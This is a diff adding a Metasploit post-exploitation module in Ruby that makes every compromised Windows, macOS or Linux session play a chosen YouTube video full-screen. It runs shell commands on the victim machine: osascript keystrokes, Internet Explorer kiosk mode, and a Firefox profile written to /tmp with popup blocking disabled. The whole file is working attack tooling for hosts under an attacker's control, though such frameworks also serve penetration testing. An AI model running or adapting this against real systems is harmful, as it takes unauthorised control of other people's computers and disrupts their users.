|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Post |
| 9 | + |
| 10 | + include Msf::Post::File |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super( update_info( info, |
| 14 | + 'Name' => 'Multi Manage Youtube Broadcast', |
| 15 | + 'Description' => %q{ |
| 16 | + This module will broadcast a Youtube video on all compromised systems. It will play |
| 17 | + the video in the target machine's native browser in full screen mode. The VID datastore |
| 18 | + option is the "v" parameter in your Youtube video's URL. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ 'sinn3r'], |
| 22 | + 'Platform' => [ 'win', 'osx', 'linux' ], |
| 23 | + 'SessionTypes' => [ 'shell', 'meterpreter' ] |
| 24 | + )) |
| 25 | + |
| 26 | + register_options( |
| 27 | + [ |
| 28 | + OptString.new('VID', [true, 'The video ID to the Youtube video']) |
| 29 | + ], self.class) |
| 30 | + end |
| 31 | + |
| 32 | + def peer |
| 33 | + "#{session.session_host}:#{session.session_port}" |
| 34 | + end |
| 35 | + |
| 36 | + |
| 37 | + # |
| 38 | + # The OSX version uses an apple script to do this |
| 39 | + # |
| 40 | + def osx_start_video(id) |
| 41 | + url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1" |
| 42 | + script = '' |
| 43 | + script << %Q|osascript -e 'tell application "Safari" to open location "#{url}"' | |
| 44 | + script << %Q|-e 'activate application "Safari"' | |
| 45 | + script << %Q|-e 'tell application "System Events" to key code {59, 55, 3}'| |
| 46 | + |
| 47 | + begin |
| 48 | + cmd_exec(script) |
| 49 | + rescue EOFError |
| 50 | + return false |
| 51 | + end |
| 52 | + |
| 53 | + true |
| 54 | + end |
| 55 | + |
| 56 | + # |
| 57 | + # The Windows version uses the "embed" player to make sure IE won't download the SWF as an object |
| 58 | + # |
| 59 | + def win_start_video(id) |
| 60 | + iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe" |
| 61 | + begin |
| 62 | + session.sys.process.execute(iexplore_path, "-k http://youtube.com/embed/#{id}?autoplay=1") |
| 63 | + rescue Rex::Post::Meterpreter::RequestError => e |
| 64 | + return false |
| 65 | + end |
| 66 | + |
| 67 | + true |
| 68 | + end |
| 69 | + |
| 70 | + |
| 71 | + # |
| 72 | + # The Linux version uses Firefox |
| 73 | + # |
| 74 | + def linux_start_video(id) |
| 75 | + begin |
| 76 | + # Create a profile |
| 77 | + profile_name = Rex::Text.rand_text_alpha(8) |
| 78 | + o = cmd_exec(%Q|firefox --display :0 -CreateProfile "#{profile_name} /tmp/#{profile_name}"|) |
| 79 | + |
| 80 | + # Add user-defined settings to profile |
| 81 | + s = %Q| |
| 82 | + user_pref("dom.disable_open_during_load", false); |
| 83 | + user_pref("browser.shell.checkDefaultBrowser", false); |
| 84 | + | |
| 85 | + write_file("/tmp/#{profile_name}/prefs.js", s) |
| 86 | + |
| 87 | + # Start the video |
| 88 | + url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1" |
| 89 | + data_js = %Q|"data:text/html,<script>window.open('#{url}','','width:100000px;height:100000px');</script>"| |
| 90 | + joe = "firefox --display :0 -p #{profile_name} #{data_js} &" |
| 91 | + cmd_exec("/bin/sh -c #{joe.shellescape}") |
| 92 | + rescue EOFError |
| 93 | + return false |
| 94 | + end |
| 95 | + |
| 96 | + true |
| 97 | + end |
| 98 | + |
| 99 | + def start_video(id) |
| 100 | + case session.platform |
| 101 | + when /osx/ |
| 102 | + osx_start_video(id) |
| 103 | + when /win/ |
| 104 | + win_start_video(id) |
| 105 | + when /linux/ |
| 106 | + linux_start_video(id) |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + def run |
| 111 | + id = datastore['VID'] |
| 112 | + |
| 113 | + print_status("#{peer} - Spawning video...") |
| 114 | + if start_video(id) |
| 115 | + print_good("#{peer} - The video has started") |
| 116 | + else |
| 117 | + print_error("#{peer} - Unable to start the video") |
| 118 | + return |
| 119 | + end |
| 120 | + |
| 121 | + end |
| 122 | + |
| 123 | +end |
0 commit comments